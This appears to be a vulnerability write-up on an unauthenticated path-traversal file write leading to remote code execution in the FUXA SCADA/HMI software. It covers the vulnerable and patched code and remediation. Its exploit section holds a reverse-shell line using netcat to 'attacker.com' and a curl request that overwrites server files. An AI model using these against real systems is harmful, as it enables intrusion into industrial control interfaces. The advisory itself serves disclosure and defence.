GHSA-88QH-CPHV-996C

FUXA Fuxup: Unauthenticated RCE via Arbitrary File Write

Alon Barad
Alon Barad
Software Engineer

Feb 5, 2026·6 min read·0 visits

Executive Summary (TL;DR)

The FUXA visualization tool contains a critical vulnerability where the `/api/upload` endpoint accepts file writes from unauthenticated users with zero path validation. Attackers can use directory traversal to overwrite server files, granting instant RCE. Patch immediately.

A catastrophic failure in the FUXA SCADA/HMI visualization software allows unauthenticated attackers to write arbitrary files to the server's filesystem. By exploiting a lack of authorization and a path traversal vulnerability in the upload API, threat actors can overwrite application source code or inject malicious scripts, achieving full Remote Code Execution (RCE) on critical industrial control interfaces.

The Hook: SCADA with a Glass Jaw

Industrial Control Systems (ICS) and SCADA interfaces are supposed to be the fortresses of the digital world. They control valves, pumps, factory lines, and things that generally shouldn't go "boom." FUXA is a web-based Process Visualization (SCADA/HMI/Dashboard) tool built on Node.js, designed to give operators a slick interface to monitor these systems.

But here's the irony: while the backend PLCs speak ancient, robust protocols, the frontend is often modern web spaghetti. GHSA-88qh-cphv-996c represents the worst-case scenario for such a tool. It isn't a complex memory corruption bug requiring heap feng shui. It isn't a subtle cryptographic oracle attack.

It is an open door. Specifically, an API endpoint that essentially says, "Hello stranger, please write whatever bytes you want, to whatever file path you specify, and I will execute them for you." It is a reminder that in the rush to visualize data, security often gets left in the TODO.md file.

The Flaw: Trusting User Input (Again)

The vulnerability resides in the /api/upload endpoint. In a secure application, a file upload handler performs three sacred duties: it checks who you are (Authentication), it checks if you are allowed to upload (Authorization), and it checks where the file is going (Sanitization).

FUXA went for the hat-trick of failure and did none of these. The endpoint was publicly accessible—no JWT, no session cookie, no API key required. If you could reach the port, you were the admin.

However, the real spice lies in the parameter handling. The API accepted a destination parameter in the JSON body. Instead of treating this as a logical label or mapping it to a safe, predefined list, the code fed this string directly into path.resolve.

For those not fluent in Node.js nightmares, path.resolve tries to be helpful by resolving a sequence of paths into an absolute path. If you feed it ../, it helpfully traverses up the directory tree. This allowed attackers to break out of the intended upload sandbox and traverse right into the heart of the application's source code.

The Code: The Smoking Gun

Let's look at the code that made this possible. This snippet is from the unpatched version. Notice the elegant simplicity of the catastrophe.

// The Vulnerable Endpoint
prjApp.post('/api/upload', function (req, res) {
    const file = req.body.resource;
    const destination = req.body.destination;
    
    // The vulnerability: constructing a path based on user input without validation
    // If 'destination' is '../../../../', we are writing to the root.
    let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
    
    // ... code to write 'file' to 'destinationDir' ...
});

There is no middleware before the callback. No ensureAuthenticated. Just raw access. The path.resolve function joins the application directory with the user's destination. Because the developer didn't strip .. sequences, the file system becomes a playground.

Now, observe the fix in commit 22c2192f5d9beef8a787c45eff3a14c24dbb5f96. The developer had to apply a tourniquet to the bleeding logic:

// The Patched Endpoint
// 1. Added Authorization Middleware 'secureFnc'
prjApp.post('/api/upload', secureFnc, function (req, res) {
 
    // 2. Explicit Admin Check
    const permission = checkGroupsFnc(req);
    if (!authJwt.haveAdminPermission(permission)) {
        return res.status(401).json({error:"unauthorized_error"});
    }
 
    // 3. Path Normalization and Traversal Check
    const destination = req.body.destination;
    const normalizedDestination = path.normalize(destination).replace(/^([/\\])+/, '');
    
    // Explicitly forbidding '..' segments
    const hasTraversal = normalizedDestination.split(path.sep).includes('..');
    if (hasTraversal || path.isAbsolute(destination)) {
        return res.status(400).json({error:"invalid_destination"});
    }
 
    // 4. Sandbox Check
    const destinationDir = path.resolve(baseDir, `_${normalizedDestination}`);
    if (!destinationDir.startsWith(path.resolve(baseDir))) {
         return res.status(400).json({error:"invalid_destination"});
    }
    // ...
});

The patch introduces four layers of defense: authentication middleware, an explicit admin permission check, path normalization to strip weird slashes, and a strict check ensuring the resolved path starts with the intended base directory (Sandboxing 101).

The Exploit: From Traversal to RCE

In PHP environments, arbitrary file write often means uploading a .php shell to the webroot. In Node.js, it's slightly different but equally devastating. Since Node.js applications are often long-running processes that load modules, we can achieve RCE by overwriting an existing .js file that the application uses.

Here is a theoretical attack chain a researcher might use:

  1. Reconnaissance: Identify a FUXA instance exposing port 1881 (default).
  2. Target Selection: We want to overwrite a file that is executed frequently or upon restart. server/index.js or a specific API route handler are prime candidates.
  3. Payload Construction: We craft a malicious JavaScript payload. This could be a simple reverse shell or code that adds a new user to the system.
// malicious_payload.js
const require('child_process').exec('nc -e /bin/sh attacker.com 4444');
  1. Delivery: We send the POST request.
curl -X POST http://TARGET-IP:1881/api/upload \
     -H "Content-Type: application/json" \
     -d '{
           "destination": "../../server/", 
           "resource": "(content of malicious_payload.js overwriting index.js)",
           "fileName": "index.js"
         }'
  1. Execution: The file is written. If the attacker overwrites a hot-reloaded module, execution is immediate. If they overwrite the entry point, execution happens the next time the service restarts (or crashes and restarts, which can be forced by writing a malformed file first).

The Impact: Lights Out

The impact of this vulnerability cannot be overstated. We are talking about software used in industrial environments. This isn't just about stealing a database of user emails; it's about gaining control over the interface that monitors physical machinery.

With RCE, an attacker can:

  • Manipulate Visuals: Change the HMI to show "Temperature: Normal" while the physical system overheats.
  • Lateral Movement: Use the compromised server as a pivot point to attack the PLC network (Modbus/Siemens S7 protocols) which is often reachable from the HMI server.
  • Ransomware: Encrypt the configuration files and demand payment to restore visibility of the plant floor.

Because the vulnerability is unauthenticated, it is wormable. A script could scan the internet, identify FUXA instances, and automatically infect them, creating a botnet of compromised industrial controllers.

The Fix: Remediation

If you are running FUXA, you need to update now. The fix is contained in the commit pushed on January 23, 2026. If you cannot update the software immediately, you must isolate the system network-wise.

Immediate Actions:

  1. Update: Pull the latest docker image or git repository (ensure commit 22c2192f5d9beef8a787c45eff3a14c24dbb5f96 is included).
  2. Firewall: Ensure port 1881 (or your custom port) is NOT exposed to the public internet. Access should be restricted to a VPN or specific internal subnets.
  3. Audit: Check your server/ directory and other critical paths. Compare file creation dates. If index.js was modified recently and you didn't do it, you have a problem.

For developers reading this: this is a lesson in Defense in Depth. Never rely on the frontend to protect the backend. Never assume a path string is safe. Always use path.join with strict validation, or better yet, do not allow user-defined paths at all—use generated UUIDs for filenames and store the metadata in a database.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

FUXA Web VisualizationSCADA/HMI Dashboards using FUXA

Affected Versions Detail

Product
Affected Versions
Fixed Version
FUXA
frangoteam
< 2026-01-23Commit 22c2192
AttributeDetail
Attack VectorNetwork (HTTP)
CVSS Score9.8 (Critical)
CWE IDCWE-22 (Path Traversal)
Privileges RequiredNone
ImpactRemote Code Execution (RCE)
StatusPatched
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Vulnerability Timeline

Patch Commit Pushed to GitHub
2026-01-23
Vulnerability Disclosed / Fixed
2026-01-23

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.